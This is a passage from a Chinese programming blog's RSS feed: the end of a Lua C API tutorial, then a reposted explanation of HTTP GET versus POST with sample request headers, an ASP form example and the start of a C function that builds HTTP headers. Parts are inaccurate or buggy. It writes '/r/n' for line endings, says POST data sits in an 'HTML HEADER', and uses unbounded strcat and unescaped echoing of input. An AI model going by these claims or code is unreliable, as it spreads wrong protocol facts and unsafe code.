18px;">*&nbsp;然后用lua_pushnumber()依次把x,y压栈&nbsp;</li><li style="line-height: 18px;">*&nbsp;然后调用lua_call(),&nbsp;并且告诉程序偶们有两个参数一个返回值&nbsp;</li><li style="line-height: 18px;">*&nbsp;接着偶们从栈顶取回返回值,&nbsp;用lua_tonumber()&nbsp;</li><li style="line-height: 18px;">*&nbsp;最后偶们用lua_pop()把返回值清掉&nbsp;</li><li style="line-height: 18px;">*/&nbsp;&nbsp;</li></ol></div>&nbsp;<p>&nbsp;</p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;">脚本为：</p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;">&nbsp;</p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;">-- add two numbers</p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;">function add ( x, y )</p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;">return x + y + 2</p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;">end</p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;">&nbsp;</p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;">z = 6</p><p style="color: #333333; font-family: Arial; line-height: 26px; background-color: #ffffff;">&nbsp;</p>转自：<a href="http://blog.csdn.net/sndaxdrs/article/details/6230999">http://blog.csdn.net/sndaxdrs/article/details/6230999</a><img src ="http://www.cppblog.com/flyinghare/aggbug/199513.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/flyinghare/" target="_blank">会飞的兔子</a> 2013-04-17 16:53 <a href="http://www.cppblog.com/flyinghare/archive/2013/04/17/199513.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>http协议中get和post的区别(转)</title><link>http://www.cppblog.com/flyinghare/archive/2012/09/12/190381.html</link><dc:creator>会飞的兔子</dc:creator><author>会飞的兔子</author><pubDate>Wed, 12 Sep 2012 05:54:00 GMT</pubDate><guid>http://www.cppblog.com/flyinghare/archive/2012/09/12/190381.html</guid><wfw:comment>http://www.cppblog.com/flyinghare/comments/190381.html</wfw:comment><comments>http://www.cppblog.com/flyinghare/archive/2012/09/12/190381.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/flyinghare/comments/commentRss/190381.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/flyinghare/services/trackbacks/190381.html</trackback:ping><description><![CDATA[<p style="font-family: verdana, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; "><span style="color: red; "><span style="font-size: 10pt; ">1<span style="font-family: 宋体; ">．</span>HTTP<span style="font-family: 宋体; ">请求格式：</span></span></span></p><p style="text-indent: 21pt; font-family: verdana, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; "><span style="font-size: 10pt; ">&lt;request line&gt;</span></p><p style="text-indent: 21pt; font-family: verdana, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; "><span style="font-size: 10pt; ">&lt;headers&gt;</span></p><p style="text-indent: 21pt; font-family: verdana, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; "><span style="color: red; "><span style="color: #ff00ff; "><span style="font-size: 10pt; ">&lt;blank line&gt;</span></span></span></p><p style="text-indent: 21pt; font-family: verdana, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; "><span style="font-size: 10pt; ">[&lt;request-body&gt;]</span></p><p style="text-indent: 21pt; font-family: verdana, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; "><span style="font-size: 10pt; "><span style="font-family: 宋体; ">在</span>HTTP<span style="font-family: 宋体; ">请求中，第一行必须是一个请求行（</span>request line<span style="font-family: 宋体; ">），用来说明请求类型、要访问的资源以及使用的</span>HTTP<span style="font-family: 宋体; ">版本。紧接着是一个首部（</span>header<span style="font-family: 宋体; ">）小节，用来说明服务器要使用的附加信息。在首部之后是一个空行，再此之后可以添加任意的其他数据</span>[<span style="font-family: 宋体; ">称之为主体（</span>body）]。</span></p><p style="text-indent: 21pt; font-family: verdana, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; "><span style="font-family: 宋体; "><span style="color: #ff0000; "><span style="font-size: 10pt; ">2．GET与POST区别</span></span></span></p><p style="text-indent: 21pt; font-family: verdana, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; "><span style="font-size: 10pt; ">HTTP<span style="font-family: 宋体; ">定义了与服务器交互的不同方法，最基本的方法是</span>&nbsp;GET&nbsp;<span style="font-family: 宋体; ">和</span>&nbsp;POST.</span></p><p style="text-indent: 21pt; font-family: verdana, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; "><span style="font-size: 10pt; ">HTTP-GET和HTTP-POST是使用HTTP的标准协议动词，用于编码和传送变量名/变量值对参数，并且使用相关的请求语义。每个HTTP-GET和HTTP-POST都由一系列HTTP请求头组成，这些请求头定义了客户端从服务器请求了什么，而响应则是由一系列HTTP应答头和应答数据组成，如果请求成功则返回应答。<br />　　HTTP-GET以使用MIME类型application/x-www-form-urlencoded的urlencoded文本的格式传递参数。Urlencoding是一种字符编码，保证被传送的参数由遵循规范的文本组成，例如一个空格的编码是"%20"。附加参数还能被认为是一个查询字符串。<br />　　与HTTP-GET类似，HTTP-POST参数也是被URL编码的。然而，变量名/变量值不作为URL的一部分被传送，而是放在实际的HTTP请求消息内部被传送。</span></p><p style="text-indent: 21pt; font-family: verdana, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; "><span style="font-size: 10pt; ">（1）get是<span style="color: #ff00ff; ">从服务器上</span><span style="color: #ff00ff; ">获取</span>数据，post是<span style="color: #ff00ff; ">向服务器传送</span>数据。</span></p><p style="margin-left: 51pt; text-indent: -30pt; font-family: verdana, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; "><span style="font-size: 10pt; ">（1）<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal; ">&nbsp;&nbsp;&nbsp;</span><span style="font-family: 宋体; ">在客户端，</span><span style="font-family: Tahoma; ">Get</span><span style="font-family: 宋体; ">方式在通过</span><span style="font-family: Tahoma; ">URL</span><span style="font-family: 宋体; ">提交数据，数据</span><span style="font-family: 宋体; ">在</span><span style="color: #ff00ff; ">URL<span style="font-family: 宋体; ">中</span></span><span style="font-family: 宋体; ">可以看到；</span>POST<span style="font-family: 宋体; ">方式，数据放置在</span><span style="color: #ff00ff; ">HTML HEADER<span style="font-family: 宋体; ">内</span></span><span style="font-family: 宋体; ">提交。</span></span></p><p style="margin-left: 51pt; text-indent: -30pt; font-family: verdana, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; "><span style="font-family: 宋体; "><span style="font-size: 10pt; ">（2）&nbsp;对于get方式，服务器端用<span style="color: #ff00ff; ">Request.QueryString</span>获取变量的值，对于post方式，服务器端用<span style="color: #ff00ff; ">Request.Form</span>获取提交的数据。</span></span></p><p style="margin-left: 51pt; text-indent: -30pt; font-family: verdana, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; "><span style="font-size: 10pt; ">（2）<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal; ">&nbsp;&nbsp;&nbsp;</span>GET<span style="font-family: 宋体; ">方式提交的数据最多<span style="color: #ff00ff; ">只能有1024字节</span></span><span style="font-family: 宋体; ">，而</span>POST<span style="font-family: 宋体; ">则<span style="color: #ff00ff; ">没有此限制</span>。</span></span></p><p style="margin-left: 51pt; text-indent: -30pt; font-family: verdana, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; "><span style="font-size: 10pt; ">（3）<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal; ">&nbsp;&nbsp;&nbsp;</span><span style="font-family: 宋体; ">安全性问题。正如在（</span><span style="font-family: ˎ̥; ">1</span><span style="font-family: 宋体; ">）中提到，使用</span><span style="font-family: ˎ̥; ">&nbsp;Get&nbsp;</span><span style="font-family: 宋体; ">的时候，参数会<span style="color: #ff00ff; ">显示在地址栏上</span>，而</span><span style="font-family: ˎ̥; ">&nbsp;Post&nbsp;</span><span style="font-family: 宋体; "><span style="color: #ff00ff; ">不会</span>。所以，如果这些数据是中文数据而且是非敏感数据，那么使用</span><span style="font-family: ˎ̥; ">&nbsp;get</span><span style="font-family: 宋体; ">；如果用户输入的数据不是中文字符而且包含敏感数据，那么还是使用</span><span style="font-family: ˎ̥; ">&nbsp;post</span><span style="font-family: 宋体; ">为好。</span></span></p><p style="margin-left: 51pt; text-indent: -30pt; font-family: verdana, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; "><span style="font-family: 宋体; "><span style="font-size: x-small; "><span size="2">注：</span><span style="color: #3366ff; "><span size="2">所谓安全的意味着该操作用于获取信息而非修改信息。幂等的意味着对同一</span><span style="font-family: Verdana; font-size: 10pt; ">&nbsp;URL&nbsp;</span></span></span><span style="color: #3366ff; font-size: 10pt; ">的多个请求应该返回同样的结果。完整的定义并不像看起来那样严格。换句话说，</span><span style="font-family: Verdana; color: #3366ff; font-size: 10pt; ">GET&nbsp;</span><span style="color: #3366ff; font-size: 10pt; ">请求一般不应产生副作用。从根本上讲，其目标是当用户打开一个链接时，她可以确信从自身的角度来看没有改变资源。比如，新闻站点的头版不断更新。虽然第二次请求会返回不同的一批新闻，该操作仍然被认为是安全的和幂等的，因为它总是返回当前的新闻。反之亦然。</span><span style="font-family: Verdana; color: #3366ff; font-size: 10pt; ">POST&nbsp;</span><span style="color: #3366ff; font-size: 10pt; ">请求就不那么轻松了。</span><span style="font-family: Verdana; color: #3366ff; font-size: 10pt; ">POST&nbsp;</span><span style="color: #3366ff; font-size: 10pt; ">表示可能改变服务器上的资源的请求。仍然以新闻站点为例，读者对文章的注解应该通过</span><span style="font-family: Verdana; color: #3366ff; font-size: 10pt; ">&nbsp;POST&nbsp;</span><span style="color: #3366ff; font-size: 10pt; ">请求实现，因为在注解提交之后站点已经不同了（比方说文章下面出现一条注解）。</span></span></p><p style="font-family: verdana, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; "><span style="font-size: 10pt; ">下面举一个简单的例子来说明它们的区别：</span></p><p style="font-family: verdana, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; "><span style="font-size: 10pt; ">&lt;!-分别通过get和post方式提交表单--&gt;&nbsp;<br />&lt;FORM ACTION="getpost.asp" METHOD="get"&gt;&nbsp;<br />&lt;INPUT TYPE="text" NAME="Text" VALUE="</span><a href="http://wxf0701.cnblogs.com/" target="_blank" style="color: #336699; text-decoration: none; "><span style="font-size: 10pt; ">http://wxf0701.cnblogs.com/</span></a><a href="http://bluesea.blogcup.com/" target="_blank" style="color: #336699; text-decoration: none; "><span style="font-size: 10pt; ">/</span></a><span style="font-size: 10pt; ">&gt;&nbsp;<br />&lt;INPUT TYPE="submit" VALUE="Get方式"&gt;&lt;/INPUT&gt;&nbsp;<br />&lt;/FORM&gt;&nbsp;<br />&lt;BR&gt;&nbsp;<br />&lt;FORM ACTION="getpost.asp" METHOD="post"&gt;&nbsp;<br />&lt;INPUT TYPE="text" NAME="Text" VALUE="</span><a href="http://wxf0701.cnblogs.com/" target="_blank" style="color: #336699; text-decoration: none; "><span style="font-size: 10pt; ">http://wxf0701.cnblogs.com/</span></a><span style="font-size: 10pt; ">&gt;&nbsp;<br />&lt;INPUT TYPE="submit" VALUE="Post方式"&gt;&lt;/INPUT&gt;&nbsp;<br />&lt;/FORM&gt;&nbsp;<br />&lt;BR&gt;</span></p><p style="font-family: verdana, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; "><span style="font-size: 10pt; ">&lt;% If Request.QueryString("Text") &lt;&gt; "" Then %&gt;&nbsp;<br />通过get方式传递的字符串是： "&lt;B&gt;&lt;%= Request.QueryString("Text") %&gt;&lt;/B&gt;"&lt;BR&gt;&nbsp;<br />&lt;% End If %&gt;</span></p><p style="font-family: verdana, sans-serif; font-size: 13px; line-height: 19px; background-color: #ffffff; "><span style="font-size: 10pt; ">&lt;% If Request.Form("Text") &lt;&gt; "" Then %&gt;&nbsp;<br />通过Post方式传递的字符串是： "&lt;B&gt;&lt;%= Request.Form("Text") %&gt;&lt;/B&gt;"&lt;BR&gt;&nbsp;<br />&lt;% End If %&gt;</span></p><p style="background-color: #ffffff; "><span style="font-family: verdana, sans-serif; line-height: 19px; font-size: 10pt; ">(<a href="http://blog.csdn.net/notbadgirl/article/details/3876096" style="color: #444444; text-decoration: none; ">http://blog.csdn.net/notbadgirl/article/details/3876096</a>)<br /><br /></span><span style="font-family: verdana, sans-serif; line-height: 19px; font-size: 24pt; "><strong>相关资料</strong></span><font face="verdana, sans-serif" size="2"><span style="line-height: 19px;">：</span></font><br /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: xx-large; ">如何使用SOCKET 发送HTTP1.1 GET POST请求包</span><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">&nbsp;</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">HTTP报文是面向文本的，报文中的每一个字段都是一些ASCII码串，各个字段的长度是不确定的。HTTP有两类报文：请求报文和响应报文。</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">请求报文</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">一个HTTP请求报文由请求行（request line）、请求头部（header）、空行和请求数据4个部分组成，下图给出了请求报文的一般格式。</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><img src="http://www.cppblog.com/images/cppblog_com/flyinghare/clip_image002.jpg" width="466" height="165" alt="" /><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">&nbsp;（1）请求行</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">请求行由请求方法字段、URL字段和HTTP协议版本字段3个字段组成，它们用空格分隔。例如，GET /index.html HTTP/1.1。</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">HTTP协议的请求方法有GET、POST、HEAD、PUT、DELETE、OPTIONS、TRACE、CONNECT。这里介绍最常用的GET方法和POST方法。</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">GET：当客户端要从服务器中读取文档时，使用GET方法。GET方法要求服务器将URL定位的资源放在响应报文的数据部分，回送给客户端。使用GET方法时，请求参数和对应的值附加在URL后面，利用一个问号（&#8220;?&#8221;）代表URL的结尾与请求参数的开始，传递参数长度受限制。例如，/index.jsp?id=100&amp;op=bind。</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">POST：当客户端给服务器提供信息较多时可以使用POST方法。POST方法将请求参数封装在HTTP请求数据中，以名称/值的形式出现，可以传输大量数据，可用来传送文件。</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">（2）请求头部</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">请求头部由关键字/值对组成，每行一对，关键字和值用英文冒号&#8220;:&#8221;分隔。请求头部通知服务器有关于客户端请求的信息，典型的请求头有：</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">User-Agent：产生请求的浏览器类型。</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">Accept：客户端可识别的内容类型列表。</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">Host：请求的主机名，允许多个域名同处一个IP地址，即虚拟主机。</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">（3）空行</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">最后一个请求头之后是一个空行，发送回车符和换行符，通知服务器以下不再有请求头。</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">对于一个完整的http请求来说空行是必须的，否则服务器会认为本次请求的数据尚未完全发送到服务器，处于等待状态。</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">（4）请求数据</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">请求数据不在GET方法中使用，而是在POST方法中使用。POST方法适用于需要客户填写表单的场合。与请求数据相关的最常使用的请求头是Content-Type和Content-Length。</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">(5)请求示例</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">POST：</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">POST报文头如下：</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />-->POST&nbsp;/sn/index.php&nbsp;HTTP/1.1<br />Accept:&nbsp;*/*<br />Accept-Language:&nbsp;zh-cn<br />host:&nbsp;localhost<br />Content-Type:&nbsp;application/x-www-form-urlencoded<br />Content-Length:&nbsp;12<br />Connection:close<br />sn=123<span style="color: #FF0000; ">&amp;n</span>=asa</div><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">在http头后边有一空行，空行后边接着发送post数据，长度通过Content-Length: 12</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">指出，此post数据中包含两项</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">sn=123</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">n=asa</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">其中：Content-Type: application/x-www-form-urlencoded 指定POST数据的编码类型</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">Content-Length: 12 POST数据的长度</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">GET：</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">GET报问头如下：</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />-->GET&nbsp;/sn/index.php?sn=123<span style="color: #FF0000; ">&amp;n</span>=asa&nbsp;HTTP/1.1<br />Accept:&nbsp;*/*<br />Accept-Language:&nbsp;zh-cn<br />host:&nbsp;localhost<br />Content-Type:&nbsp;application/x-www-form-urlencoded<br />Content-Length:&nbsp;12<br />Connection:close</div><span style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; ">示例代码：</span><br style="color: #333333; font-family: Arial; line-height: 26px; text-align: left; font-size: large; " /><div style="text-align: left;"><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: #008080; ">&nbsp;1</span>&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;MEF_Set_Http_Header(MEF_Http_Action_t&nbsp;method,&nbsp;S8&nbsp;*&nbsp;action,&nbsp;S8&nbsp;*&nbsp;server,&nbsp;S8&nbsp;*&nbsp;msg_body,&nbsp;S8&nbsp;*&nbsp;head,&nbsp;U8&nbsp;connect_type)&nbsp;&nbsp;<br /><span style="color: #008080; ">&nbsp;2</span>&nbsp;{<br /><span style="color: #008080; ">&nbsp;3</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;S8&nbsp;tmp_buf[20];<br /><span style="color: #008080; ">&nbsp;4</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">const</span>&nbsp;S8&nbsp;*&nbsp;http_methods_table[MEF_TOTAL_HTTP_ACTIONS]&nbsp;=&nbsp;{"GET",&nbsp;"POST",&nbsp;"HEAD",&nbsp;"PUT",&nbsp;"OPTIONS",&nbsp;"DELETE",&nbsp;"TRACE",&nbsp;"CONNECT"};<br /><span style="color: #008080; ">&nbsp;5</span>&nbsp;<br /><span style="color: #008080; ">&nbsp;6</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sprintf(head,"%s&nbsp;",&nbsp;http_methods_table[method]);<br /><span style="color: #008080; ">&nbsp;7</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>(action)<br /><span style="color: #008080; ">&nbsp;8</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br /><span style="color: #008080; ">&nbsp;9</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(head,&nbsp;action);&nbsp;&nbsp;<br /><span style="color: #008080; ">10</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">11</span>&nbsp;<br /><span style="color: #008080; ">12</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(head,"&nbsp;HTTP/1.1");&nbsp;&nbsp;<br /><span style="color: #008080; ">13</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(head,"/r/n");&nbsp;&nbsp;<br /><span style="color: #008080; ">14</span>&nbsp;<br /><span style="color: #008080; ">15</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(head,"Accept:*/*");&nbsp;&nbsp;<br /><span style="color: #008080; ">16</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(head,"/r/n");&nbsp;&nbsp;<br /><span style="color: #008080; ">17</span>&nbsp;<br /><span style="color: #008080; ">18</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(head,"User-Agent:&nbsp;Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;5.01;&nbsp;Windows&nbsp;NT&nbsp;5.0)");&nbsp;&nbsp;<br /><span style="color: #008080; ">19</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(head,"/r/n");&nbsp;&nbsp;<br /><span style="color: #008080; ">20</span>&nbsp;<br /><span style="color: #008080; ">21</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(head,"Host:&nbsp;");&nbsp;&nbsp;<br /><span style="color: #008080; ">22</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(head,server);&nbsp;&nbsp;&nbsp;<br /><span style="color: #008080; ">23</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(head,"/r/n");&nbsp;&nbsp;<br /><span style="color: #008080; ">24</span>&nbsp;<br /><span style="color: #008080; ">25</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>(method&nbsp;==&nbsp;MEF_HTTP_POST)<br /><span style="color: #008080; ">26</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br /><span style="color: #008080; ">27</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(head,"Content-Type:&nbsp;application/x-www-form-urlencoded");&nbsp;&nbsp;<br /><span style="color: #008080; ">28</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(head,"/r/n");&nbsp;&nbsp;<br /><span style="color: #008080; ">29</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">30</span>&nbsp;<br /><span style="color: #008080; ">31</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>(method&nbsp;==&nbsp;MEF_HTTP_POST)<br /><span style="color: #008080; ">32</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br /><span style="color: #008080; ">33</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(head,&nbsp;"Content-Length:&nbsp;");<br /><span style="color: #008080; ">34</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sprintf(tmp_buf,&nbsp;"%d",&nbsp;strlen(msg_body));<br /><span style="color: #008080; ">35</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(head,&nbsp;tmp_buf);<br /><span style="color: #008080; ">36</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(head,"/r/n");&nbsp;&nbsp;<br /><span style="color: #008080; ">37</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">38</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>(connect_type&nbsp;==&nbsp;1)<br /><span style="color: #008080; ">39</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(head,"Connection:&nbsp;Keep-Alive");<br /><span style="color: #008080; ">40</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: 